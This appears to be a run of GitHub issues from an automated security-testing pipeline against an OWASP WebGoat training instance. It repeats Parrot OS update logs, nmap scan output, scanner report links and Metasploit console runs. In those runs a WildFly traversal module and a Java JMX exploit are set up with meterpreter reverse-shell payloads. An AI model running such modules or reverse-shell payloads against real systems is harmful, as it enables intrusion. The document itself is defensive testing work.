bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease  
Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease  
Ign:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease  
Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease  
Reading package lists...  
Building dependency tree...  
Reading state information...  
49 packages can be upgraded. Run 'apt list --upgradable' to see them.  
Cleaning up any existing old code copies of security tests...  
This is not a secure way to check out code;  
Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.204.4.44

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[\*] Processing ./src/exploitwildflydir\_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir\_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly\_traversal):

Name Current Setting Required Description

-----

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----  
Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[\*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.

resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[\*] No payload configured, defaulting to java/meterpreter/reverse\_tcp

resource (./src/exploit/javajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name Current Setting Required Description

-----  
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX\_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX\_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse\_tcp):

Name Current Setting Required Description

-----  
LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitjavajmxreversehttps.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitjavajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse\_https

resource (./src/exploitjavajmxreversehttps.rc)> exploit

[\*] Payload Handler Started as Job

resource (./src/exploitjavajmxreversehttps.rc)> exit

=====

# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 646

GitHub Issue URL : [Here!](#)

**SonarCloud**  
**"priority High"**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 645

GitHub Issue URL : [Here!](#)

**Snyk\_scan**  
**"priority High"**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 644

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**  
**"priority Medium"**

Nmap vulnerability scanning  
for 20.204.4.44

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 57s (347 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file



libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot-parrot-backports> InRelease  
Reading package lists...  
Building dependency tree...  
Reading state information...  
49 packages can be upgraded. Run 'apt list --upgradable' to see them.  
Running basic nmap scan...  
Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 14:45 UTC  
Nmap scan report for 20.204.4.44  
Host is up (0.22s latency).  
Not shown: 65530 filtered tcp ports (no-response)  
PORT STATE SERVICE VERSION  
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:  
| 256 c3:b1:50:24:dd:77:f6:98:25:5d:60:f4:bc:44:ac:de (ECDSA)  
|\_ 256 86:f1:a9:e5:6b:92:b2:33:70:ae:bc:7c:ed:cb:4c:ab (ED25519)  
80/tcp closed http  
443/tcp closed https  
8080/tcp open http-proxy  
| fingerprint-strings:  
| FourOhFourRequest:  
| HTTP/1.1 404 Not Found  
| Connection: close  
| Content-Length: 0  
| Date: Mon, 06 Nov 2023 14:48:45 GMT  
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions,  
SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie,  
WMSRequest, oracle-tns:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest, HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Connection: close

| Content-Length: 0  
|\_ Date: Mon, 06 Nov 2023 14:48:44 GMT  
|\_http-title: Site doesn't have a title.  
9090/tcp open zeus-admin?  
| fingerprint-strings:  
| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 14:48:44 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T14:48:44.219+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block

| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 06 Nov 2023 14:49:02 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-11-06T14:49:02.148+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
|\_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=11/6%Time=6548FCCC%P=x86\_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 06 Nov 2023 14:48:4

SF:4 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 06\x

SF:20Nov 2023 14:48:44 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 06

SF:0Nov 2023 14:48:45 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n  
SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-  
SF:Length: 0 Connection: close  
")%r(Help,42,"HTTP/1.1  
SF:400 Bad Request Content-Length: 0 Connection: close  
SF:  
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont  
SF:ent-Length: 0 Connection: close  
")%r(TerminalServerCook  
SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba  
SF:d Request Content-Length: 0 Connection: close  
")%  
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:  
SF:00 Connection: close  
")%r(SMBProgNeg,42,"HTTP/1.1 400\n  
SF:x20Bad Request Content-Length: 0 Connection: close  
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng  
SF:th: 0 Connection: close  
")%r(LDAPSearchReq,42,"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co  
SF:ntent-Length: 0 Connection: close  
")%r(WMSRequest,42,"H  
SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection  
SF:: close  
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques  
SF:t Content-Length: 0 Connection: close  
");  
=====NEXT SERVICE FINGERPRINT (SUBMIT  
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=11/6%Time=6548FCCC%P=x86\_64-pc-linux-gnu%r(Ge  
SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach  
SF:e-Control: no-cache, no-store, max-age=0, must-revalidate  
SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra  
SF:me-Options: DENY Date: Mon, 06 Nov 2023 14:48:44\x  
SF:20GMT Connection: close Vary: Origin Vary: Access-Con  
SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con  
SF:tent-Type-Options: nosniff Content-Type: application/json \n  
SF:r { \"timestamp\" : \"2023-11-06T14:48:44.219+00:00\"  
SF:, \"status\" : 404, \"error\" : \"Not  
SF:Found\", \"path\" : \"/\n }\"}%r(WMSRequest,42,\"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
\")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request C  
SF:ontent-Length: 0 Connection: close  
\")%r(SqueezeCenter\_C  
SF:LI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
\")%r(GenericLines,42,\"HTTP/1.1 400 Bad  
SF: Request Content-Length: 0 Connection: close  
\")%r  
SF:(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0  
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida  
SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X  
SF:-Frame-Options: DENY Date: Mon, 06 Nov 2023 14:49:  
SF:02 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA  
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin  
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque  
SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap  
SF:plication/json  
{ \"timestamp\" : \"2023-11-06T14:  
SF:49:02.148+00:00\", \"status\" : 404, \"error\"

SF:" : \"Not Found\", \"path\" : \"^\" }")%r(RTSP

SF:Request,42,\"HTTP/1.1 400 Bad Request Content-Length: 0\\n

SF:r Connection: close

");

Device type: general purpose|firewall|storage-misc

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), WatchGuard Firewall 11.X (86%), Synology DiskStation Manager 5.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.10 cpe:/o:watchguard:fireware:11.8 cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation\_manager:5.1

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), WatchGuard Firewall 11.8 (86%), Linux 4.0 (85%), Synology DiskStation Manager 5.1 (85%), Linux 2.6.35 (85%), Linux 3.5 (85%), Linux 4.2 (85%), Linux 4.4 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5514.95 ms 20.204.4.44

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 341.50 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 14:50 UTC

Nmap scan report for 20.204.4.44

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 14:50 UTC

Nmap scan report for 20.204.4.44

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.35 seconds



# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 643

GitHub Issue URL : [Here!](#)

**SonarCloud**  
**"priority High"**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 642

GitHub Issue URL : [Here!](#)

**Snyk\_scan**  
**"priority High"**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

# Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 641

GitHub Issue URL : [Here!](#)

**SonarCloud**  
**"priority High"**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Priority High - Snyk Report

GitHub Issue number # 640

GitHub Issue URL : [Here!](#)

**Snyk\_scan**  
**"priority High"**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

# Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 639

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**  
**"priority High"**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 51s (383 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.204.4.44

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[\*] Processing ./src/exploitwildflydir\_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir\_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly\_traversal):

Name Current Setting Required Description

-----

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[\*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[\*] No payload configured, defaulting to java/meterpreter/reverse\_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	-----------------------------------------------

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	-------------------------------------------------------------

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---------------------------------------------------------

RHOSTS	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
--------	-----	-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---------------------------------------------------------------------------------------------------------------------------------------

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	------------------------------------------------------------------

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	-----------------------------------------------------

Payload options (java/meterpreter/reverse\_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	----------------------------------------------------

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

---

0	Generic (Java Payload)
---	------------------------



View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```

```
RHOSTS =>
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

```
[*] Payload Handler Started as Job
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

# Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 638

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**  
**"priority Medium"**

Nmap vulnerability scanning  
for 20.204.4.44

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Ign:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Ign:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.6 MB in 1min 23s (238 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13  
postgresql-client-common postgresql-common python3-certifi  
python3-typing-extensions

49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.8 MB of archives.

After this operation, 38.9 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-11-06 14:21 UTC

Nmap scan report for 20.204.4.44

Host is up (0.22s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

